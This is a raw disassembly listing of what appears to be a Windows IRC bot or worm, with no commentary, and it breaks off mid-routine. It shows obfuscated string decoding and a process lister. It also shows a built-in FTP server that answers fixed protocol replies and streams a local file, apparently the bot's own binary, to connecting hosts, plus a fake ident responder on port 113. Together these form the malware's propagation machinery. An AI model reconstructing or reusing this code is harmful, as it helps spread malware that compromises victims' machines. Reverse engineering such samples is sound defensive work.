ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E760 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E760 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E8E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E8E2 mov ebp, dword_5118D8 loc_41E86E: ; CODE XREF: sub_41E760+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E86E loc_41E8E2: ; CODE XREF: sub_41E760+62j ; sub_41E760+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E8FA: ; CODE XREF: sub_41E760+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E9EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_445004 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E9EE: ; CODE XREF: sub_41E760+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EB3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EB3D mov ebx, dword_5118D8 loc_41EAD6: ; CODE XREF: sub_41E760+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_444FF8 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41EAD6 loc_41EB3D: ; CODE XREF: sub_41E760+2CFj ; sub_41E760+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E760+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_444FF0 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EC4C: ; CODE XREF: sub_41E760+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41ED15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41ED15 push ebx push offset dword_444FE4 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41ED17 ; --------------------------------------------------------------------------- loc_41ED15: ; CODE XREF: sub_41E760+1F0j ; sub_41E760+44Ej ... xor al, al loc_41ED17: ; CODE XREF: sub_41E760+195j ; sub_41E760+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E760 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset asc_43C4EA+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EEE0: ; CODE XREF: ___:0041EEF1j mov al, [esi+0ABh] test al, al jnz short loc_41EEF3 push 3E8h call edi jmp short loc_41EEE0 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: ___:0041EEE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449277 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8E9B push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EF19: ; DATA XREF: ___:loc_41EF2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EF2C: ; DATA XREF: ___:00442554o mov eax, offset loc_41EF19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EF70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F030 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F030 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44964F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41F0B7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8E9B push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0B7: ; CODE XREF: sub_41F030+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41F0E7 mov ecx, [edi+15h] push ecx call near ptr 71AB9639h nop lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8E9B push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0E7: ; CODE XREF: sub_41F030+93j mov al, byte_4E8E44 test al, al jz loc_41F750 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F102: ; CODE XREF: sub_41F030+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F11D push 0FAh jmp loc_41F73B ; --------------------------------------------------------------------------- loc_41F11D: ; CODE XREF: sub_41F030+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F736 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F741 mov cl, byte_449DB8 test cl, cl jz short loc_41F1CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44964F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 28h loc_41F1CF: ; CODE XREF: sub_41F030+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445080 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445080 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445080 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445080 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445080 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445080 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5FADE9 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax call near ptr 77C3F010h nop mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F695 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F695 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F5C0: ; CODE XREF: sub_41F030+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F613 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F5C0 loc_41F613: ; CODE XREF: sub_41F030+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DB8 test cl, cl mov eax, edx jz short loc_41F67C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 2Ch loc_41F67C: ; CODE XREF: sub_41F030+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F695: ; CODE XREF: sub_41F030+55Bj ; sub_41F030+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi call near ptr 71AB9639h nop lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F736: ; CODE XREF: sub_41F030+109j push 9C4h loc_41F73B: ; CODE XREF: sub_41F030+E8j nop call near ptr 28502B8h loc_41F741: ; CODE XREF: sub_41F030+140j mov al, byte_4E8E44 test al, al jnz loc_41F102 pop ebp pop ebx loc_41F750: ; CODE XREF: sub_41F030+BEj mov eax, [edi+15h] push eax call near ptr 71AB9639h nop loc_41F75A: ; CODE XREF: sub_41F030+82j ; sub_41F030+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41F030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F960 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F960 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F99D mov byte_4E8E99, 0 jmp loc_41FB01 ; --------------------------------------------------------------------------- loc_41F99D: ; CODE XREF: sub_41F960+2Fj mov cl, byte_44927B xor ebx, ebx cmp cl, bl mov byte_4E8E99, 1 jnz loc_41FAF4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41FAE7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 3 push offset byte_448F30 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41FA66 loc_41FA0A: ; CODE XREF: sub_41F960+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E5C push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41FA0A loc_41FA66: ; CODE XREF: sub_41F960+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5FADE9 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_511C9C push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E8E99, bl pop edi jmp short loc_41FAFE ; --------------------------------------------------------------------------- loc_41FAE7: ; CODE XREF: sub_41F960+67j push 7D0h nop call near ptr 28502B8h jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F960+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41FAFE: ; CODE XREF: sub_41F960+185j push ebp call esi ; closesocket loc_41FB01: ; CODE XREF: sub_41F960+38j ; sub_41F960+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FB90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FBCB dec eax 